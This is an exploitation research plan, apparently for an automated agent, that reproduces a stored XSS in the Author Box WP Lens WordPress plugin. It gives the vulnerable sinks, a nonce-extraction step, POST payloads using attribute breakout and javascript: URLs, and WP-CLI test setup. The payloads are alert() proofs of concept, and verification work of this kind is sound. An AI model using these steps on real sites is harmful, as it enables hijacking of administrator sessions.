Exploitation Research Plan - CVE-2026-57420

1. Vulnerability Summary

The Author Box WP Lens plugin (<= 2.1.5) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin allows users (including those with Subscriber-level permissions) to save arbitrary metadata in their profile (specifically photograph URLs and social media links) without sufficient sanitization. Furthermore, these values are rendered in the frontend author box template (templates/author-box.php) without proper escaping, allowing an attacker to inject malicious JavaScript that executes when any user views a post authored by the attacker.

2. Attack Vector Analysis

• Vulnerable Endpoint: wp-admin/profile.php (handled by personal_options_update and edit_user_profile_update hooks).
• Vulnerable Hooks: ABFD::abfd_user_save (hooked to profile updates).
• Vulnerable Sink: templates/author-box.php (frontend rendering).
• Vulnerable Parameters:
  • abfd-user-photograph
  • abfd-user-social-networks-[network_key] (e.g., abfd-user-social-networks-facebook)
• Authentication Level: Subscriber or higher.
• Preconditions: The plugin must be active and configured to display the author box on posts (default behavior).

3. Code Flow

1. Input: A Subscriber user updates their profile at /wp-admin/profile.php.
2. Registration: index.php registers the save handler:

   add_action('personal_options_update', array('ABFD', 'abfd_user_save'));
   

3. Storage: The function abfd_user_save (inferred) processes the POST request and uses update_user_meta to save fields starting with abfd-user- to the database without sanitization.
4. Rendering: When a post by that author is viewed, index.php triggers the_content filter, which calls ABFD::the_content and eventually renders templates/author-box.php.
5. Execution: In templates/author-box.php, the stored meta is echoed:

   // Vulnerable Photograph sink
   <div class="abfd-photograph" style="background-image: url('<?php echo $fields['photograph']; ?>');"></div>
   
   // Vulnerable Social Link sink
   <a ... href="<?php echo $fields['social-networks'][$key]; ?>" ...>
   

   The lack of esc_url() or esc_attr() here allows for attribute breakout.

4. Nonce Acquisition Strategy

The profile update requires a nonce generated by wp_nonce_field('abfd', 'abfd-nonce') in templates/user_page.php.

1. Navigate: Use browser_navigate to /wp-admin/profile.php while logged in as a Subscriber.
2. Extract: Use browser_eval to extract the nonce value from the hidden input field.

   // The field is rendered by wp_nonce_field('abfd', 'abfd-nonce')
   document.getElementsByName('abfd-nonce')[0].value
   

5. Exploitation Strategy

1. Login: Authenticate as a Subscriber user.
2. Retrieve Nonce: Navigate to the profile page and extract the abfd-nonce.
3. Inject Payload: Send an http_request (POST) to wp-admin/profile.php to update the user's meta.
   • Target URL: /wp-admin/profile.php
   • Method: POST
   • Body Parameters:
     • action: update
     • user_id: [Subscriber ID]
     • abfd-nonce: [Extracted Nonce]
     • abfd-user-photograph: https://example.com/x.png');" onmouseover="alert(document.domain)" data-x="
     • abfd-user-social-networks-facebook: javascript:alert('XSS_SOCIAL')
     • from: profile
     • checkuser_id: [Subscriber ID]
     • submit: Update Profile
4. Trigger XSS:
   • Ensure the Subscriber has at least one published post.
   • Navigate to the URL of that post as an administrator.
   • Hover over the author photograph or click the Facebook social icon to trigger the payload.

6. Test Data Setup

1. Plugin Configuration: Ensure "Author Box WP Lens" is active.
2. User Creation: Create a user with the subscriber role.
3. Content Creation: Create a post and set the subscriber user as the author.

   wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
   wp post create --post_title="XSS Test Post" --post_author=$(wp user get attacker --field=ID) --post_status=publish
   

7. Expected Results

• The HTTP POST request should return a 302 redirecting back to profile.php?updated=1.
• On the frontend post page, the HTML for the author box should look like:

  <div class="abfd-photograph" style="background-image: url('https://example.com/x.png');" onmouseover="alert(document.domain)" data-x="');"></div>
  <a href="javascript:alert('XSS_SOCIAL')" ...>
  

8. Verification Steps

1. Check Database: Use WP-CLI to verify the payload is stored in user meta.

   wp user meta get $(wp user get attacker --field=ID) abfd-user-photograph
   

2. Check Frontend Response: Fetch the post content and search for the unescaped payload.

   # Use http_request to get the post HTML and look for:
   # onmouseover="alert(document.domain)"
   

9. Alternative Approaches

If personal_options_update is strictly protected, the same fields might be exploitable via the "Author Box for Divi" settings page if they are accessible to higher roles (Contributor/Author), or via the abfd_refresh_preview AJAX action if it renders the template with unsanitized data:

• Action: wp_ajax_abfd_preview
• Hook: ABFD::abfd_refresh_preview
• Method: POST to /wp-admin/admin-ajax.php with action=abfd_preview and the payload fields.